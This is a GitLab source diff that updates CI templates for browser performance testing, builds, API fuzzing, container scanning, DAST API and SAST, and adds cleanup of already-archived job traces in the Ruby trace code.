--- a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
@@ -20,15 +20,48 @@ performance:
fi
- export CI_ENVIRONMENT_URL=$(cat environment_url.txt)
- mkdir gitlab-exporter
+ # Busybox wget does not support proxied HTTPS, get the real thing.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/287611.
+ - (env | grep -i _proxy= 2>&1 >/dev/null) && apk --no-cache add wget
- wget -O gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js
- mkdir sitespeed-results
- |
+ function propagate_env_vars() {
+ CURRENT_ENV=$(printenv)
+
+ for VAR_NAME; do
+ echo $CURRENT_ENV | grep "${VAR_NAME}=" > /dev/null && echo "--env $VAR_NAME "
+ done
+ }
+ - |
if [ -f .gitlab-urls.txt ]
then
sed -i -e 's@^@'"$CI_ENVIRONMENT_URL"'@' .gitlab-urls.txt
- docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results .gitlab-urls.txt $SITESPEED_OPTIONS
+ docker run \
+ $(propagate_env_vars \
+ auto_proxy \
+ https_proxy \
+ http_proxy \
+ no_proxy \
+ AUTO_PROXY \
+ HTTPS_PROXY \
+ HTTP_PROXY \
+ NO_PROXY \
+ ) \
+ --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results .gitlab-urls.txt $SITESPEED_OPTIONS
else
- docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results "$CI_ENVIRONMENT_URL" $SITESPEED_OPTIONS
+ docker run \
+ $(propagate_env_vars \
+ auto_proxy \
+ https_proxy \
+ http_proxy \
+ no_proxy \
+ AUTO_PROXY \
+ HTTPS_PROXY \
+ HTTP_PROXY \
+ NO_PROXY \
+ ) \
+ --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results "$CI_ENVIRONMENT_URL" $SITESPEED_OPTIONS
fi
- mv sitespeed-results/data/performance.json browser-performance.json
artifacts:
diff --git a/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
index 1c25d9d583b..196d42f3e3a 100644
--- a/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml
@@ -1,10 +1,10 @@
build:
stage: build
- image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-build-image:v0.4.0"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-build-image:v0.6.0"
variables:
DOCKER_TLS_CERTDIR: ""
services:
- - docker:19.03.12-dind
+ - docker:20.10.6-dind
script:
- |
if [[ -z "$CI_COMMIT_TAG" ]]; then
diff --git a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
index fd6c51ea350..b29342216fc 100644
--- a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
@@ -36,6 +36,7 @@ code_quality:
REPORT_STDOUT \
REPORT_FORMAT \
ENGINE_MEMORY_LIMIT_BYTES \
+ CODECLIMATE_PREFIX \
) \
--volume "$PWD":/code \
--volume /var/run/docker.sock:/var/run/docker.sock \
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
index 654a03ced5f..bf42cd52605 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
@@ -12,7 +12,7 @@ stages:
variables:
FUZZAPI_PROFILE: Quick
- FUZZAPI_VERSION: latest
+ FUZZAPI_VERSION: "1.6"
FUZZAPI_CONFIG: .gitlab-api-fuzzing.yml
FUZZAPI_TIMEOUT: 30
FUZZAPI_REPORT: gl-api-fuzzing-report.json
@@ -45,7 +45,7 @@ apifuzzer_fuzz:
entrypoint: ["/bin/bash", "-l", "-c"]
variables:
FUZZAPI_PROJECT: $CI_PROJECT_PATH
- FUZZAPI_API: http://localhost:80
+ FUZZAPI_API: http://localhost:5000
FUZZAPI_NEW_REPORT: 1
FUZZAPI_LOG_SCANNER: gl-apifuzzing-api-scanner.log
TZ: America/Los_Angeles
@@ -107,7 +107,7 @@ apifuzzer_fuzz_dnd:
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
FUZZAPI_PROJECT: $CI_PROJECT_PATH
- FUZZAPI_API: http://apifuzzer:80
+ FUZZAPI_API: http://apifuzzer:5000
allow_failure: true
rules:
- if: $FUZZAPI_D_TARGET_IMAGE == null && $FUZZAPI_D_WORKER_IMAGE == null
@@ -142,6 +142,7 @@ apifuzzer_fuzz_dnd:
-e TZ=America/Los_Angeles \
-e GITLAB_FEATURES \
-p 80:80 \
+ -p 5000:5000 \
-p 8000:8000 \
-p 514:514 \
--restart=no \
@@ -168,7 +169,7 @@ apifuzzer_fuzz_dnd:
docker run \
--name worker \
--network $FUZZAPI_D_NETWORK \
- -e FUZZAPI_API=http://apifuzzer:80 \
+ -e FUZZAPI_API=http://apifuzzer:5000 \
-e FUZZAPI_PROJECT \
-e FUZZAPI_PROFILE \
-e FUZZAPI_CONFIG \
@@ -211,7 +212,7 @@ apifuzzer_fuzz_dnd:
--name worker \
--network $FUZZAPI_D_NETWORK \
-e TZ=America/Los_Angeles \
- -e FUZZAPI_API=http://apifuzzer:80 \
+ -e FUZZAPI_API=http://apifuzzer:5000 \
-e FUZZAPI_PROJECT \
-e FUZZAPI_PROFILE \
-e FUZZAPI_CONFIG \
@@ -237,6 +238,7 @@ apifuzzer_fuzz_dnd:
-v $CI_PROJECT_DIR:/app \
-v `pwd`/$FUZZAPI_REPORT_ASSET_PATH:/app/$FUZZAPI_REPORT_ASSET_PATH:rw \
-p 81:80 \
+ -p 5001:5000 \
-p 8001:8000 \
-p 515:514 \
--restart=no \
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
new file mode 100644
index 00000000000..215029dc952
--- /dev/null
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
@@ -0,0 +1,270 @@
+# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
+
+# Configure the scanning tool through the environment variables.
+# List of the variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-variables
+# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+
+variables:
+ FUZZAPI_PROFILE: Quick
+ FUZZAPI_VERSION: latest
+ FUZZAPI_CONFIG: .gitlab-api-fuzzing.yml
+ FUZZAPI_TIMEOUT: 30
+ FUZZAPI_REPORT: gl-api-fuzzing-report.json
+ FUZZAPI_REPORT_ASSET_PATH: assets
+ #
+ FUZZAPI_D_NETWORK: testing-net
+ #
+ # Wait up to 5 minutes for API Fuzzer and target url to become
+ # available (non 500 response to HTTP(s))
+ FUZZAPI_SERVICE_START_TIMEOUT: "300"
+ #
+ FUZZAPI_IMAGE: registry.gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing:${FUZZAPI_VERSION}-engine
+ #
+
+apifuzzer_fuzz_unlicensed:
+ stage: fuzz
+ allow_failure: true
+ rules:
+ - if: '$GITLAB_FEATURES !~ /\bapi_fuzzing\b/ && $API_FUZZING_DISABLED == null'
+ - when: never
+ script:
+ - |
+ echo "Error: Your GitLab project is not licensed for API Fuzzing."
+ - exit 1
+
+apifuzzer_fuzz:
+ stage: fuzz
+ image:
+ name: $FUZZAPI_IMAGE
+ entrypoint: ["/bin/bash", "-l", "-c"]
+ variables:
+ FUZZAPI_PROJECT: $CI_PROJECT_PATH
+ FUZZAPI_API: http://localhost:80
+ FUZZAPI_NEW_REPORT: 1
+ FUZZAPI_LOG_SCANNER: gl-apifuzzing-api-scanner.log
+ TZ: America/Los_Angeles
+ allow_failure: true
+ rules:
+ - if: $FUZZAPI_D_TARGET_IMAGE
+ when: never
+ - if: $FUZZAPI_D_WORKER_IMAGE
+ when: never
+ - if: $API_FUZZING_DISABLED
+ when: never
+ - if: $API_FUZZING_DISABLED_FOR_DEFAULT_BRANCH &&
+ $CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
+ when: never
+ - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
+ script:
+ #
+ # Validate options
+ - |
+ if [ "$FUZZAPI_HAR$FUZZAPI_OPENAPI$FUZZAPI_POSTMAN_COLLECTION" == "" ]; then \
+ echo "Error: One of FUZZAPI_HAR, FUZZAPI_OPENAPI, or FUZZAPI_POSTMAN_COLLECTION must be provided."; \
+ echo "See https://docs.gitlab.com/ee/user/application_security/api_fuzzing/ for information on how to configure API Fuzzing."; \
+ exit 1; \
+ fi
+ #
+ # Run user provided pre-script
+ - sh -c "$FUZZAPI_PRE_SCRIPT"
+ #
+ # Make sure asset path exists
+ - mkdir -p $FUZZAPI_REPORT_ASSET_PATH
+ #
+ # Start API Security background process
+ - dotnet /peach/Peach.Web.dll &> $FUZZAPI_LOG_SCANNER &
+ - APISEC_PID=$!
+ #
+ # Start scanning
+ - worker-entry
+ #
+ # Run user provided post-script
+ - sh -c "$FUZZAPI_POST_SCRIPT"
+ #
+ # Shutdown API Security
+ - kill $APISEC_PID
+ - wait $APISEC_PID
+ #
+ artifacts:
+ when: always
+ paths:
+ - $FUZZAPI_REPORT_ASSET_PATH
+ - $FUZZAPI_REPORT
+ - $FUZZAPI_LOG_SCANNER
+ reports:
+ api_fuzzing: $FUZZAPI_REPORT
+
+apifuzzer_fuzz_dnd:
+ stage: fuzz
+ image: docker:19.03.12
+ variables:
+ DOCKER_DRIVER: overlay2
+ DOCKER_TLS_CERTDIR: ""
+ FUZZAPI_PROJECT: $CI_PROJECT_PATH
+ FUZZAPI_API: http://apifuzzer:80
+ allow_failure: true
+ rules:
+ - if: $FUZZAPI_D_TARGET_IMAGE == null && $FUZZAPI_D_WORKER_IMAGE == null
+ when: never
+ - if: $API_FUZZING_DISABLED
+ when: never
+ - if: $API_FUZZING_DISABLED_FOR_DEFAULT_BRANCH &&
+ $CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
+ when: never
+ - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
+ services:
+ - docker:19.03.12-dind
+ script:
+ #
+ #
+ - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY
+ #
+ - docker network create --driver bridge $FUZZAPI_D_NETWORK
+ #
+ # Run user provided pre-script
+ - sh -c "$FUZZAPI_PRE_SCRIPT"
+ #
+ # Make sure asset path exists
+ - mkdir -p $FUZZAPI_REPORT_ASSET_PATH
+ #
+ # Start peach testing engine container
+ - |
+ docker run -d \
+ --name apifuzzer \
+ --network $FUZZAPI_D_NETWORK \
+ -e Proxy:Port=8000 \
+ -e TZ=America/Los_Angeles \
+ -e GITLAB_FEATURES \
+ -p 80:80 \
+ -p 8000:8000 \
+ -p 514:514 \
+ --restart=no \
+ $FUZZAPI_IMAGE \
+ dotnet /peach/Peach.Web.dll
+ #
+ # Start target container
+ - |
+ if [ "$FUZZAPI_D_TARGET_IMAGE" != "" ]; then \
+ docker run -d \
+ --name target \
+ --network $FUZZAPI_D_NETWORK \
+ $FUZZAPI_D_TARGET_ENV \
+ $FUZZAPI_D_TARGET_PORTS \
+ $FUZZAPI_D_TARGET_VOLUME \
+ --restart=no \
+ $FUZZAPI_D_TARGET_IMAGE \
+ ; fi
+ #
+ # Start worker container if provided
+ - |
+ if [ "$FUZZAPI_D_WORKER_IMAGE" != "" ]; then \
+ echo "Starting worker image $FUZZAPI_D_WORKER_IMAGE"; \
+ docker run \
+ --name worker \
+ --network $FUZZAPI_D_NETWORK \
+ -e FUZZAPI_API=http://apifuzzer:80 \
+ -e FUZZAPI_PROJECT \
+ -e FUZZAPI_PROFILE \
+ -e FUZZAPI_CONFIG \
+ -e FUZZAPI_REPORT \
+ -e FUZZAPI_REPORT_ASSET_PATH \
+ -e FUZZAPI_NEW_REPORT=1 \
+ -e FUZZAPI_HAR \
+ -e FUZZAPI_OPENAPI \
+ -e FUZZAPI_POSTMAN_COLLECTION \
+ -e FUZZAPI_POSTMAN_COLLECTION_VARIABLES \
+ -e FUZZAPI_TARGET_URL \
+ -e FUZZAPI_OVERRIDES_FILE \
+ -e FUZZAPI_OVERRIDES_ENV \
+ -e FUZZAPI_OVERRIDES_CMD \
+ -e FUZZAPI_OVERRIDES_INTERVAL \
+ -e FUZZAPI_TIMEOUT \
+ -e FUZZAPI_VERBOSE \
+ -e FUZZAPI_SERVICE_START_TIMEOUT \
+ -e FUZZAPI_HTTP_USERNAME \
+ -e FUZZAPI_HTTP_PASSWORD \
+ -e CI_PROJECT_URL \
+ -e CI_JOB_ID \
+ -e CI_COMMIT_BRANCH=${CI_COMMIT_BRANCH} \
+ $FUZZAPI_D_WORKER_ENV \
+ $FUZZAPI_D_WORKER_PORTS \
+ $FUZZAPI_D_WORKER_VOLUME \
+ --restart=no \
+ $FUZZAPI_D_WORKER_IMAGE \
+ ; fi
+ #
+ # Start API Fuzzing provided worker if no other worker present
+ - |
+ if [ "$FUZZAPI_D_WORKER_IMAGE" == "" ]; then \
+ if [ "$FUZZAPI_HAR$FUZZAPI_OPENAPI$FUZZAPI_POSTMAN_COLLECTION" == "" ]; then \
+ echo "Error: One of FUZZAPI_HAR, FUZZAPI_OPENAPI, or FUZZAPI_POSTMAN_COLLECTION must be provided."; \
+ echo "See https://docs.gitlab.com/ee/user/application_security/api_fuzzing/ for information on how to configure API Fuzzing."; \
+ exit 1; \
+ fi; \
+ docker run \
+ --name worker \
+ --network $FUZZAPI_D_NETWORK \
+ -e TZ=America/Los_Angeles \
+ -e FUZZAPI_API=http://apifuzzer:80 \
+ -e FUZZAPI_PROJECT \
+ -e FUZZAPI_PROFILE \
+ -e FUZZAPI_CONFIG \
+ -e FUZZAPI_REPORT \
+ -e FUZZAPI_REPORT_ASSET_PATH \
+ -e FUZZAPI_NEW_REPORT=1 \
+ -e FUZZAPI_HAR \
+ -e FUZZAPI_OPENAPI \
+ -e FUZZAPI_POSTMAN_COLLECTION \
+ -e FUZZAPI_POSTMAN_COLLECTION_VARIABLES \
+ -e FUZZAPI_TARGET_URL \
+ -e FUZZAPI_OVERRIDES_FILE \
+ -e FUZZAPI_OVERRIDES_ENV \
+ -e FUZZAPI_OVERRIDES_CMD \
+ -e FUZZAPI_OVERRIDES_INTERVAL \
+ -e FUZZAPI_TIMEOUT \
+ -e FUZZAPI_VERBOSE \
+ -e FUZZAPI_SERVICE_START_TIMEOUT \
+ -e FUZZAPI_HTTP_USERNAME \
+ -e FUZZAPI_HTTP_PASSWORD \
+ -e CI_PROJECT_URL \
+ -e CI_JOB_ID \
+ -v $CI_PROJECT_DIR:/app \
+ -v `pwd`/$FUZZAPI_REPORT_ASSET_PATH:/app/$FUZZAPI_REPORT_ASSET_PATH:rw \
+ -p 81:80 \
+ -p 8001:8000 \
+ -p 515:514 \
+ --restart=no \
+ $FUZZAPI_IMAGE \
+ worker-entry \
+ ; fi
+ #
+ # Propagate exit code from api fuzzing scanner (if any)
+ - if [[ $(docker inspect apifuzzer --format='{{.State.ExitCode}}') != "0" ]]; then echo "API Fuzzing scanner exited with an error. Logs are available as job artifacts."; exit 1; fi
+ #
+ # Run user provided post-script
+ - sh -c "$FUZZAPI_POST_SCRIPT"
+ #
+ after_script:
+ #
+ # Shutdown all containers
+ - echo "Stopping all containers"
+ - if [ "$FUZZAPI_D_TARGET_IMAGE" != "" ]; then docker stop target; fi
+ - docker stop worker
+ - docker stop apifuzzer
+ #
+ # Save docker logs
+ - docker logs apifuzzer &> gl-api_fuzzing-logs.log
+ - if [ "$FUZZAPI_D_TARGET_IMAGE" != "" ]; then docker logs target &> gl-api_fuzzing-target-logs.log; fi
+ - docker logs worker &> gl-api_fuzzing-worker-logs.log
+ #
+ artifacts:
+ when: always
+ paths:
+ - ./gl-api_fuzzing*.log
+ - ./gl-api_fuzzing*.zip
+ - $FUZZAPI_REPORT_ASSET_PATH
+ - $FUZZAPI_REPORT
+ reports:
+ api_fuzzing: $FUZZAPI_REPORT
+
+# end
diff --git a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
index 64001c2828a..c628e30b2c7 100644
--- a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
@@ -6,14 +6,10 @@ variables:
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
CS_MAJOR_VERSION: 3
-container_scanning:
+.cs_common:
stage: test
image: "$CS_ANALYZER_IMAGE"
variables:
- # By default, use the latest clair vulnerabilities database, however, allow it to be overridden here with a specific image
- # to enable container scanning to run offline, or to provide a consistent list of vulnerabilities for integration testing purposes
- CLAIR_DB_IMAGE_TAG: "latest"
- CLAIR_DB_IMAGE: "$SECURE_ANALYZERS_PREFIX/clair-vulnerabilities-db:$CLAIR_DB_IMAGE_TAG"
# Override the GIT_STRATEGY variable in your `.gitlab-ci.yml` file and set it to `fetch` if you want to provide a `clair-whitelist.yml`
# file. See https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#overriding-the-container-scanning-template
# for details
@@ -21,19 +17,44 @@ container_scanning:
# CS_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
# override the analyzer image with a custom value. This may be subject to change or
# breakage across GitLab releases.
- CS_ANALYZER_IMAGE: $SECURE_ANALYZERS_PREFIX/klar:$CS_MAJOR_VERSION
+ CS_ANALYZER_IMAGE: $SECURE_ANALYZERS_PREFIX/$CS_PROJECT:$CS_MAJOR_VERSION
allow_failure: true
+ artifacts:
+ reports:
+ container_scanning: gl-container-scanning-report.json
+ dependencies: []
+
+container_scanning:
+ extends: .cs_common
+ variables:
+ # By default, use the latest clair vulnerabilities database, however, allow it to be overridden here with a specific image
+ # to enable container scanning to run offline, or to provide a consistent list of vulnerabilities for integration testing purposes
+ CLAIR_DB_IMAGE_TAG: "latest"
+ CLAIR_DB_IMAGE: "$SECURE_ANALYZERS_PREFIX/clair-vulnerabilities-db:$CLAIR_DB_IMAGE_TAG"
+ CS_PROJECT: 'klar'
services:
- name: $CLAIR_DB_IMAGE
alias: clair-vulnerabilities-db
script:
- /analyzer run
+ rules:
+ - if: $CONTAINER_SCANNING_DISABLED
+ when: never
+ - if: $CI_COMMIT_BRANCH &&
+ $GITLAB_FEATURES =~ /\bcontainer_scanning\b/ &&
+ $CS_MAJOR_VERSION =~ /^[0-3]$/
+
+container_scanning_new:
+ extends: .cs_common
+ variables:
+ CS_PROJECT: 'container-scanning'
+ script:
+ - gtcs scan
artifacts:
- reports:
- container_scanning: gl-container-scanning-report.json
- dependencies: []
+ paths: [gl-container-scanning-report.json]
rules:
- if: $CONTAINER_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bcontainer_scanning\b/
+ $GITLAB_FEATURES =~ /\bcontainer_scanning\b/ &&
+ $CS_MAJOR_VERSION !~ /^[0-3]$/
diff --git a/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
index fc1acd09714..533f8bb25f8 100644
--- a/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
@@ -1,3 +1,16 @@
+# To use this template, add the following to your .gitlab-ci.yml file:
+#
+# include:
+# template: DAST.latest.gitlab-ci.yml
+#
+# You also need to add a `dast` stage to your `stages:` configuration. A sample configuration for DAST:
+#
+# stages:
+# - build
+# - test
+# - deploy
+# - dast
+
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast/
# Configure the scanning tool through the environment variables.
@@ -9,6 +22,19 @@ variables:
# Setting this variable will affect all Security templates
# (SAST, Dependency Scanning, ...)
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
+ #
+ DAST_API_PROFILE: Full
+ DAST_API_VERSION: latest
+ DAST_API_CONFIG: .gitlab-dast-api.yml
+ DAST_API_TIMEOUT: 30
+ DAST_API_REPORT: gl-dast-api-report.json
+ DAST_API_REPORT_ASSET_PATH: assets
+ #
+ # Wait up to 5 minutes for API Security and target url to become
+ # available (non 500 response to HTTP(s))
+ DAST_API_SERVICE_START_TIMEOUT: "300"
+ #
+ DAST_API_IMAGE: registry.gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing:${DAST_API_VERSION}-engine
dast:
stage: dast
@@ -25,6 +51,11 @@ dast:
reports:
dast: gl-dast-report.json
rules:
+ - if: $DAST_API_BETA && ( $DAST_API_SPECIFICATION ||
+ $DAST_API_OPENAPI ||
+ $DAST_API_POSTMAN_COLLECTION ||
+ $DAST_API_HAR )
+ when: never
- if: $DAST_DISABLED
when: never
- if: $DAST_DISABLED_FOR_DEFAULT_BRANCH &&
@@ -40,4 +71,72 @@ dast:
- if: $CI_COMMIT_BRANCH &&
$DAST_WEBSITE
- if: $CI_COMMIT_BRANCH &&
+ $DAST_API_BETA == null &&
$DAST_API_SPECIFICATION
+
+dast_api:
+ stage: dast
+ image:
+ name: $DAST_API_IMAGE
+ entrypoint: ["/bin/bash", "-l", "-c"]
+ variables:
+ API_SECURITY_MODE: DAST
+ DAST_API_NEW_REPORT: 1
+ DAST_API_PROJECT: $CI_PROJECT_PATH
+ DAST_API_API: http://127.0.0.1:5000
+ DAST_API_LOG_SCANNER: gl-dast-api-scanner.log
+ TZ: America/Los_Angeles
+ allow_failure: true
+ rules:
+ - if: $DAST_API_BETA == null
+ when: never
+ - if: $DAST_DISABLED
+ when: never
+ - if: $DAST_DISABLED_FOR_DEFAULT_BRANCH &&
+ $CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
+ when: never
+ - if: $CI_DEFAULT_BRANCH != $CI_COMMIT_REF_NAME &&
+ $REVIEW_DISABLED &&
+ $DAST_API_SPECIFICATION == null &&
+ $DAST_API_OPENAPI == null &&
+ $DAST_API_POSTMAN_COLLECTION == null &&
+ $DAST_API_HAR == null
+ when: never
+ - if: $DAST_API_SPECIFICATION == null &&
+ $DAST_API_OPENAPI == null &&
+ $DAST_API_POSTMAN_COLLECTION == null &&
+ $DAST_API_HAR == null
+ when: never
+ - if: $CI_COMMIT_BRANCH &&
+ $GITLAB_FEATURES =~ /\bdast\b/
+ script:
+ #
+ # Run user provided pre-script
+ - sh -c "$DAST_API_PRE_SCRIPT"
+ #
+ # Make sure asset path exists
+ - mkdir -p $DAST_API_REPORT_ASSET_PATH
+ #
+ # Start API Security background process
+ - dotnet /peach/Peach.Web.dll &> $DAST_API_LOG_SCANNER &
+ - APISEC_PID=$!
+ #
+ # Start scanning
+ - worker-entry
+ #
+ # Run user provided post-script
+ - sh -c "$DAST_API_POST_SCRIPT"
+ #
+ # Shutdown API Security
+ - kill $APISEC_PID
+ - wait $APISEC_PID
+ #
+ artifacts:
+ when: always
+ paths:
+ - $DAST_API_REPORT_ASSET_PATH
+ - $DAST_API_REPORT
+ - $DAST_API_LOG_SCANNER
+ - gl-*.log
+ reports:
+ dast: $DAST_API_REPORT
diff --git a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
index 9693a4fbca2..3ebccfbba4a 100644
--- a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
@@ -160,7 +160,7 @@ mobsf-android-sast:
services:
# this version must match with analyzer version mentioned in: https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/-/blob/master/Dockerfile
# Unfortunately, we need to keep track of mobsf version in 2 different places for now.
- - name: opensecurity/mobile-security-framework-mobsf:v3.3.3
+ - name: opensecurity/mobile-security-framework-mobsf:v3.4.0
alias: mobsf
image:
name: "$SAST_ANALYZER_IMAGE"
@@ -186,7 +186,7 @@ mobsf-ios-sast:
services:
# this version must match with analyzer version mentioned in: https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/-/blob/master/Dockerfile
# Unfortunately, we need to keep track of mobsf version in 2 different places for now.
- - name: opensecurity/mobile-security-framework-mobsf:v3.3.3
+ - name: opensecurity/mobile-security-framework-mobsf:v3.4.0
alias: mobsf
image:
name: "$SAST_ANALYZER_IMAGE"
@@ -303,6 +303,10 @@ semgrep-sast:
$SAST_EXPERIMENTAL_FEATURES == 'true'
exists:
- '**/*.py'
+ - '**/*.js'
+ - '**/*.jsx'
+ - '**/*.ts'
+ - '**/*.tsx'
sobelow-sast:
extends: .sast-analyzer
@@ -348,3 +352,4 @@ spotbugs-sast:
- '**/*.groovy'
- '**/*.java'
- '**/*.scala'
+ - '**/*.kt'
diff --git a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
index e591e3cc1e2..404d4a4c6db 100644
--- a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
@@ -18,9 +18,32 @@ performance:
- docker:stable-dind
script:
- mkdir gitlab-exporter
+ # Busybox wget does not support proxied HTTPS, get the real thing.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/287611.
+ - (env | grep -i _proxy= 2>&1 >/dev/null) && apk --no-cache add wget
- wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js
- mkdir sitespeed-results
- - docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results $URL $SITESPEED_OPTIONS
+ - |
+ function propagate_env_vars() {
+ CURRENT_ENV=$(printenv)
+
+ for VAR_NAME; do
+ echo $CURRENT_ENV | grep "${VAR_NAME}=" > /dev/null && echo "--env $VAR_NAME "
+ done
+ }
+ - |
+ docker run \
+ $(propagate_env_vars \
+ auto_proxy \
+ https_proxy \
+ http_proxy \
+ no_proxy \
+ AUTO_PROXY \
+ HTTPS_PROXY \
+ HTTP_PROXY \
+ NO_PROXY \
+ ) \
+ --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results $URL $SITESPEED_OPTIONS
- mv sitespeed-results/data/performance.json browser-performance.json
artifacts:
paths:
diff --git a/lib/gitlab/ci/trace.rb b/lib/gitlab/ci/trace.rb
index 3258d965c93..c25c4339c35 100644
--- a/lib/gitlab/ci/trace.rb
+++ b/lib/gitlab/ci/trace.rb
@@ -11,7 +11,7 @@ module Gitlab
LOCK_SLEEP = 0.001.seconds
WATCH_FLAG_TTL = 10.seconds
- UPDATE_FREQUENCY_DEFAULT = 30.seconds
+ UPDATE_FREQUENCY_DEFAULT = 60.seconds
UPDATE_FREQUENCY_WHEN_BEING_WATCHED = 3.seconds
ArchiveError = Class.new(StandardError)
@@ -93,6 +93,10 @@ module Gitlab
end
end
+ def erase_trace_chunks!
+ job.trace_chunks.fast_destroy_all # Destroy chunks of a live trace
+ end
+
def erase!
##
# Erase the archived trace
@@ -100,7 +104,7 @@ module Gitlab
##
# Erase the live trace
- job.trace_chunks.fast_destroy_all # Destroy chunks of a live trace
+ erase_trace_chunks!
FileUtils.rm_f(current_path) if current_path # Remove a trace file of a live trace
job.erase_old_trace! if job.has_old_trace? # Remove a trace in database of a live trace
ensure
@@ -114,7 +118,11 @@ module Gitlab
end
def update_interval
- being_watched? ? UPDATE_FREQUENCY_WHEN_BEING_WATCHED : UPDATE_FREQUENCY_DEFAULT
+ if being_watched?
+ UPDATE_FREQUENCY_WHEN_BEING_WATCHED
+ else
+ UPDATE_FREQUENCY_DEFAULT
+ end
end
def being_watched!
@@ -176,9 +184,14 @@ module Gitlab
end
def unsafe_archive!
- raise AlreadyArchivedError, 'Could not archive again' if trace_artifact
raise ArchiveError, 'Job is not finished yet' unless job.complete?
+ if trace_artifact
+ unsafe_trace_cleanup! if Feature.enabled?(:erase_traces_from_already_archived_jobs_when_archiving_again, job.project, default_enabled: :yaml)
+
+ raise AlreadyArchivedError, 'Could not archive again'
+ end
+
if job.trace_chunks.any?
Gitlab::Ci::Trace::ChunkedIO.new(job) do |stream|
archive_stream!(stream)
@@ -197,6 +210,18 @@ module Gitlab
end
end
+ def unsafe_trace_cleanup!
+ return unless trace_artifact
+
+ if trace_artifact.archived_trace_exists?
+ # An archive already exists, so make sure to remove the trace chunks
+ erase_trace_chunks!
+ else
+ # An archive already exists, but its associated file does not, so remove it
+ trace_artifact.destroy!
+ end
+ end
+
